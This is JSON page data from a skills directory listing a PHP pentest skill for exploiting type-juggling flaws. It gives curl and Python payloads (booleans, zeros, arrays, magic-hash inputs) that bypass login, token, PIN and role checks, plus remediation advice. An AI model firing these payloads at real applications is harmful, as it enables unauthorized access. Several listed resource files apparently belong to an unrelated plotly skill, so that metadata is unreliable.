[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEQZXRFC5HVASBK9605SBF":3,"skill-same:01M6AEQZXRFC5HVASBK9605SBF":126},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":65,"commitSha":66,"skillDirectory":67,"forksCount":68,"repositoryHtmlUrl":69,"repositoryHomepageUrl":70,"ownerHtmlUrl":71,"ownerBlogUrl":72,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6AEQZXRFC5HVASBK9605SBF","exploiting-type-juggling-vulnerabilities",null,"Exploits PHP type juggling vulnerabilities caused by loose (==) comparison operators to bypass authentication, defeat hash verification via magic hashes, and manipulate application logic through type coercion. Use when pentesting PHP applications that compare user input with ==, in_array, or hash functions without strict type checks.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35925,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"exploiting type juggling vulnerabilities","vulnerabilities","pentesting","type-coercion","magic-hash","loose-comparison","php-security","type-juggling","web-security","t1059","web-application-security","security","coercion","authentication-bypass","verification","authentication","pr","web","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-type-juggling-vulnerabilities\ndescription: Exploits PHP type juggling vulnerabilities caused by loose (==) comparison\n  operators to bypass authentication, defeat hash verification via magic hashes,\n  and manipulate application logic through type coercion. Use when pentesting PHP\n  applications that compare user input with ==, in_array, or hash functions without\n  strict type checks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- type-juggling\n- php-security\n- loose-comparison\n- authentication-bypass\n- magic-hash\n- type-coercion\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\n---\n\n# Exploiting Type Juggling Vulnerabilities\n\n## When to Use\n- When testing PHP web applications for authentication bypass vulnerabilities\n- During assessment of password comparison and hash verification logic\n- When testing applications using loose comparison (== instead of ===)\n- During code review of PHP applications handling JSON or deserialized input\n- When evaluating input validation that relies on type-dependent comparison\n\n## Prerequisites\n- Understanding of PHP type system and loose comparison behavior\n- Knowledge of magic hash values (0e prefix) and their scientific notation interpretation\n- Burp Suite for request manipulation and parameter type changing\n- PHP development environment for testing payloads locally\n- Collection of magic hash strings from PayloadsAllTheThings\n- Ability to send JSON or serialized data to control input types\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Type Juggling Candidates\n```bash\n# Look for PHP applications with:\n# - Login\u002Fauthentication forms\n# - Password comparison endpoints\n# - API endpoints accepting JSON input\n# - Token\u002Fhash verification\n# - Numeric comparison for access control\n\n# Check if application accepts JSON input (allows type control)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":\"test\"}'\n\n# If application normally uses form data, try JSON\n# Form: username=admin&password=test\n# JSON: {\"username\":\"admin\",\"password\":true}\n```\n\n### Step 2 — Exploit Loose Comparison Authentication Bypass\n```bash\n# PHP loose comparison: 0 == \"password\" returns TRUE\n# Send integer 0 as password via JSON\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":0}'\n\n# Send boolean true (TRUE == \"any_string\" in loose comparison)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":true}'\n\n# Send empty array (array bypasses strcmp)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":[]}'\n\n# Send null\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":null}'\n\n# PHP strcmp vulnerability: strcmp(array, string) returns NULL\n# NULL == 0 is TRUE in loose comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password[]=anything\"\n```\n\n### Step 3 — Exploit Magic Hash Collisions\n```bash\n# PHP treats \"0e...\" strings as scientific notation (0 * 10^N = 0)\n# If hash starts with \"0e\" followed by only digits, it equals 0 in loose comparison\n\n# Magic MD5 hashes (all evaluate to 0 in loose comparison):\n# \"240610708\" -> md5: 0e462097431906509019562988736854\n# \"QNKCDZO\"  -> md5: 0e830400451993494058024219903391\n# \"aabg7XSs\" -> md5: 0e087386482136013740957780965295\n# \"aabC9RqS\" -> md5: 0e041022518165728065344349536299\n\n# If application compares md5(user_input) == stored_hash:\n# And stored_hash starts with \"0e\" and contains only digits after\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password=240610708\"\n\n# Magic SHA1 hashes:\n# \"aaroZmOk\" -> sha1: 0e66507019969427134894567494305185566735\n# \"aaK1STfY\" -> sha1: 0e76658526655756207688271159624026011393\n\n# Test with known magic hash values\nfor payload in \"240610708\" \"QNKCDZO\" \"aabg7XSs\" \"aabC9RqS\" \"0e1137126905\" \"0e215962017\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n    -d \"username=admin&password=$payload\" -o \u002Fdev\u002Fnull -w \"%{http_code}\"\n  echo\ndone\n```\n\n### Step 4 — Exploit Comparison in Access Control\n```bash\n# Numeric comparison bypass\n# If: if($user_id == $target_id) { \u002F\u002F allow access }\n# \"0\" == \"0e12345\" is TRUE (both evaluate to 0)\n\n# String to integer conversion\n# \"1abc\" == 1 is TRUE in PHP (string truncated to integer)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1abc\"\n\n# Boolean comparison for role checking\n# if($role == true) grants access to any non-empty string\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\":\"delete\",\"role\":true}'\n\n# Null comparison for optional checks\n# if($token == null) might skip validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":0}'\n```\n\n### Step 5 — Exploit via Deserialization Input\n```bash\n# PHP json_decode() preserves types\n# Attacker controls type via JSON: true, 0, null, []\n\n# Bypass token verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-token \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":true}'\n\n# Bypass numeric PIN verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-pin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"pin\":true}'\n\n# Bypass with zero value\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheck-code \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"code\":0}'\n\n# PHP unserialize() type juggling\n# Craft serialized object with integer type instead of string\n# s:8:\"password\"; -> i:0; (string \"password\" to integer 0)\n```\n\n### Step 6 — Automated Type Juggling Testing\n```bash\n# Test all common type juggling payloads against each parameter\n# Using Burp Intruder with type juggling payload list\n\n# Payload list for JSON-based testing:\n# true\n# false\n# null\n# 0\n# 1\n# \"\"\n# []\n# \"0\"\n# \"0e99999\"\n# \"240610708\"\n\n# Python automation\npython3 -c \"\nimport requests\nimport json\n\nurl = 'http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin'\npayloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']\n\nfor p in payloads:\n    data = {'username': 'admin', 'password': p}\n    r = requests.post(url, json=data)\n    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')\n\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Loose Comparison (==) | PHP comparison that performs type coercion before comparing values |\n| Strict Comparison (===) | PHP comparison requiring both value and type to match |\n| Magic Hash | String whose hash starts with \"0e\" followed by digits, evaluating to 0 in loose comparison |\n| Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison |\n| strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison |\n| JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints |\n| Scientific Notation | PHP interprets \"0eN\" strings as 0 in exponential notation during numeric comparison |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for changing parameter types in requests |\n| PHP interactive shell | Local testing of type juggling behavior |\n| PayloadsAllTheThings | Curated magic hash and type juggling payload lists |\n| phpggc | PHP generic gadget chains for deserialization exploitation |\n| Custom Python scripts | Automated type juggling payload testing |\n| PHPStan\u002FPsalm | Static analysis tools detecting loose comparisons in code |\n\n## Common Scenarios\n\n1. **Authentication Bypass via Boolean** — Send `\"password\": true` as JSON to bypass loose comparison password verification\n2. **Magic Hash Collision** — Use known magic hash input (\"240610708\") whose MD5 starts with \"0e\" to match against stored hashes\n3. **strcmp Array Bypass** — Send `password[]=anything` to make strcmp() return NULL, bypassing password comparison\n4. **PIN\u002FOTP Bypass** — Send integer 0 as verification code to match against \"0e...\" hash of the actual code\n5. **Role Escalation** — Send `\"role\": true` to match any non-empty role string in loose comparison access checks\n\n## Output Format\n\n```\n## Type Juggling Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Language**: PHP 8.1\n- **Framework**: Laravel\n\n### Findings\n| # | Endpoint | Parameter | Payload | Type | Impact |\n|---|----------|-----------|---------|------|--------|\n| 1 | POST \u002Flogin | password | true (boolean) | Loose comparison | Auth bypass |\n| 2 | POST \u002Flogin | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |\n| 3 | POST \u002Flogin | password[] | array | strcmp NULL return | Auth bypass |\n| 4 | POST \u002Fverify | code | 0 (integer) | Numeric comparison | OTP bypass |\n\n### PHP Comparison Table (Relevant)\n| Expression | Result | Reason |\n|-----------|--------|--------|\n| 0 == \"password\" | TRUE | String cast to 0 |\n| true == \"password\" | TRUE | Non-empty string is truthy |\n| \"0e123\" == \"0e456\" | TRUE | Both are scientific notation = 0 |\n| NULL == 0 | TRUE | NULL cast to 0 |\n\n### Remediation\n- Replace all == with === (strict comparison) in security-critical code\n- Use password_verify() for password comparison instead of direct comparison\n- Use hash_equals() for timing-safe hash comparison\n- Validate input types before comparison operations\n- Enable PHP strict_types declaration in all files\n```\n","# Exploiting Type Juggling Vulnerabilities\n\n## When to Use\n- When testing PHP web applications for authentication bypass vulnerabilities\n- During assessment of password comparison and hash verification logic\n- When testing applications using loose comparison (== instead of ===)\n- During code review of PHP applications handling JSON or deserialized input\n- When evaluating input validation that relies on type-dependent comparison\n\n## Prerequisites\n- Understanding of PHP type system and loose comparison behavior\n- Knowledge of magic hash values (0e prefix) and their scientific notation interpretation\n- Burp Suite for request manipulation and parameter type changing\n- PHP development environment for testing payloads locally\n- Collection of magic hash strings from PayloadsAllTheThings\n- Ability to send JSON or serialized data to control input types\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Type Juggling Candidates\n```bash\n# Look for PHP applications with:\n# - Login\u002Fauthentication forms\n# - Password comparison endpoints\n# - API endpoints accepting JSON input\n# - Token\u002Fhash verification\n# - Numeric comparison for access control\n\n# Check if application accepts JSON input (allows type control)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":\"test\"}'\n\n# If application normally uses form data, try JSON\n# Form: username=admin&password=test\n# JSON: {\"username\":\"admin\",\"password\":true}\n```\n\n### Step 2 — Exploit Loose Comparison Authentication Bypass\n```bash\n# PHP loose comparison: 0 == \"password\" returns TRUE\n# Send integer 0 as password via JSON\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":0}'\n\n# Send boolean true (TRUE == \"any_string\" in loose comparison)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":true}'\n\n# Send empty array (array bypasses strcmp)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":[]}'\n\n# Send null\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":null}'\n\n# PHP strcmp vulnerability: strcmp(array, string) returns NULL\n# NULL == 0 is TRUE in loose comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password[]=anything\"\n```\n\n### Step 3 — Exploit Magic Hash Collisions\n```bash\n# PHP treats \"0e...\" strings as scientific notation (0 * 10^N = 0)\n# If hash starts with \"0e\" followed by only digits, it equals 0 in loose comparison\n\n# Magic MD5 hashes (all evaluate to 0 in loose comparison):\n# \"240610708\" -> md5: 0e462097431906509019562988736854\n# \"QNKCDZO\"  -> md5: 0e830400451993494058024219903391\n# \"aabg7XSs\" -> md5: 0e087386482136013740957780965295\n# \"aabC9RqS\" -> md5: 0e041022518165728065344349536299\n\n# If application compares md5(user_input) == stored_hash:\n# And stored_hash starts with \"0e\" and contains only digits after\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password=240610708\"\n\n# Magic SHA1 hashes:\n# \"aaroZmOk\" -> sha1: 0e66507019969427134894567494305185566735\n# \"aaK1STfY\" -> sha1: 0e76658526655756207688271159624026011393\n\n# Test with known magic hash values\nfor payload in \"240610708\" \"QNKCDZO\" \"aabg7XSs\" \"aabC9RqS\" \"0e1137126905\" \"0e215962017\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n    -d \"username=admin&password=$payload\" -o \u002Fdev\u002Fnull -w \"%{http_code}\"\n  echo\ndone\n```\n\n### Step 4 — Exploit Comparison in Access Control\n```bash\n# Numeric comparison bypass\n# If: if($user_id == $target_id) { \u002F\u002F allow access }\n# \"0\" == \"0e12345\" is TRUE (both evaluate to 0)\n\n# String to integer conversion\n# \"1abc\" == 1 is TRUE in PHP (string truncated to integer)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1abc\"\n\n# Boolean comparison for role checking\n# if($role == true) grants access to any non-empty string\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\":\"delete\",\"role\":true}'\n\n# Null comparison for optional checks\n# if($token == null) might skip validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":0}'\n```\n\n### Step 5 — Exploit via Deserialization Input\n```bash\n# PHP json_decode() preserves types\n# Attacker controls type via JSON: true, 0, null, []\n\n# Bypass token verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-token \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":true}'\n\n# Bypass numeric PIN verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-pin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"pin\":true}'\n\n# Bypass with zero value\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheck-code \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"code\":0}'\n\n# PHP unserialize() type juggling\n# Craft serialized object with integer type instead of string\n# s:8:\"password\"; -> i:0; (string \"password\" to integer 0)\n```\n\n### Step 6 — Automated Type Juggling Testing\n```bash\n# Test all common type juggling payloads against each parameter\n# Using Burp Intruder with type juggling payload list\n\n# Payload list for JSON-based testing:\n# true\n# false\n# null\n# 0\n# 1\n# \"\"\n# []\n# \"0\"\n# \"0e99999\"\n# \"240610708\"\n\n# Python automation\npython3 -c \"\nimport requests\nimport json\n\nurl = 'http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin'\npayloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']\n\nfor p in payloads:\n    data = {'username': 'admin', 'password': p}\n    r = requests.post(url, json=data)\n    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')\n\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Loose Comparison (==) | PHP comparison that performs type coercion before comparing values |\n| Strict Comparison (===) | PHP comparison requiring both value and type to match |\n| Magic Hash | String whose hash starts with \"0e\" followed by digits, evaluating to 0 in loose comparison |\n| Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison |\n| strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison |\n| JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints |\n| Scientific Notation | PHP interprets \"0eN\" strings as 0 in exponential notation during numeric comparison |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for changing parameter types in requests |\n| PHP interactive shell | Local testing of type juggling behavior |\n| PayloadsAllTheThings | Curated magic hash and type juggling payload lists |\n| phpggc | PHP generic gadget chains for deserialization exploitation |\n| Custom Python scripts | Automated type juggling payload testing |\n| PHPStan\u002FPsalm | Static analysis tools detecting loose comparisons in code |\n\n## Common Scenarios\n\n1. **Authentication Bypass via Boolean** — Send `\"password\": true` as JSON to bypass loose comparison password verification\n2. **Magic Hash Collision** — Use known magic hash input (\"240610708\") whose MD5 starts with \"0e\" to match against stored hashes\n3. **strcmp Array Bypass** — Send `password[]=anything` to make strcmp() return NULL, bypassing password comparison\n4. **PIN\u002FOTP Bypass** — Send integer 0 as verification code to match against \"0e...\" hash of the actual code\n5. **Role Escalation** — Send `\"role\": true` to match any non-empty role string in loose comparison access checks\n\n## Output Format\n\n```\n## Type Juggling Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Language**: PHP 8.1\n- **Framework**: Laravel\n\n### Findings\n| # | Endpoint | Parameter | Payload | Type | Impact |\n|---|----------|-----------|---------|------|--------|\n| 1 | POST \u002Flogin | password | true (boolean) | Loose comparison | Auth bypass |\n| 2 | POST \u002Flogin | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |\n| 3 | POST \u002Flogin | password[] | array | strcmp NULL return | Auth bypass |\n| 4 | POST \u002Fverify | code | 0 (integer) | Numeric comparison | OTP bypass |\n\n### PHP Comparison Table (Relevant)\n| Expression | Result | Reason |\n|-----------|--------|--------|\n| 0 == \"password\" | TRUE | String cast to 0 |\n| true == \"password\" | TRUE | Non-empty string is truthy |\n| \"0e123\" == \"0e456\" | TRUE | Both are scientific notation = 0 |\n| NULL == 0 | TRUE | NULL cast to 0 |\n\n### Remediation\n- Replace all == with === (strict comparison) in security-critical code\n- Use password_verify() for password comparison instead of direct comparison\n- Use hash_equals() for timing-safe hash comparison\n- Validate input types before comparison operations\n- Enable PHP strict_types declaration in all files\n```\n",{"name":5,"tags":51,"author":52,"domain":45,"license":15,"version":53,"nist_csf":54,"subdomain":37,"description":7,"mitre_attack":59},[34,33,32,40,31,30,35],"mahipal","1.0",[55,56,57,58],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[60,61,62,63,64],"T1190","T1059.007","T1505.003","T1083","T1027","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-type-juggling-vulnerabilities",4384,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-type-juggling-vulnerabilities",{"tool":81,"command":82},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-type-juggling-vulnerabilities",{"tool":84,"command":85},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-type-juggling-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002FSKILL.md",true,[89,94,100,104,108,112,116,120],{"path":90,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002FLICENSE",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"reference\u002Fchart-types.md","REFERENCE","参考文档",8763,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fplotly\u002Freference\u002Fchart-types.md",{"path":101,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":102,"sourceHtmlUrl":103},"reference\u002Fexport-interactivity.md",9204,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fplotly\u002Freference\u002Fexport-interactivity.md",{"path":105,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":106,"sourceHtmlUrl":107},"reference\u002Fgraph-objects.md",5986,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fplotly\u002Freference\u002Fgraph-objects.md",{"path":109,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":110,"sourceHtmlUrl":111},"reference\u002Flayouts-styling.md",9128,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fplotly\u002Freference\u002Flayouts-styling.md",{"path":113,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":114,"sourceHtmlUrl":115},"reference\u002Fplotly-express.md",4893,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fplotly\u002Freference\u002Fplotly-express.md",{"path":117,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":118,"sourceHtmlUrl":119},"references\u002Fapi-reference.md",2168,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":121,"resourceType":122,"resourceTypeDesc":123,"sizeBytes":124,"sourceHtmlUrl":125},"scripts\u002Fagent.py","SCRIPT","脚本",5364,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002Fscripts\u002Fagent.py",[127,152,175,201,227,253],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":134,"publishedAt":46},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[133],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[135,136,137,138,38,45,139,140,43,141,142,143,144,145,146,147,148,149,150,151],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":153,"name":154,"nameZh":6,"description":155,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":156,"categories":157,"keywords":159,"publishedAt":46},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[158],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[160,148,161,162,38,163,45,43,41,164,165,166,167,168,169,170,171,172,173,174],"boot","TPM","validating tpm measured boot attestation","policy","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":183,"publishedAt":46},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[181,182],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[169,184,185,186,187,45,188,189,41,190,191,192,193,194,195,196,197,198,199,200],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":202,"name":203,"nameZh":6,"description":204,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":205,"categories":206,"keywords":208,"publishedAt":46},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll 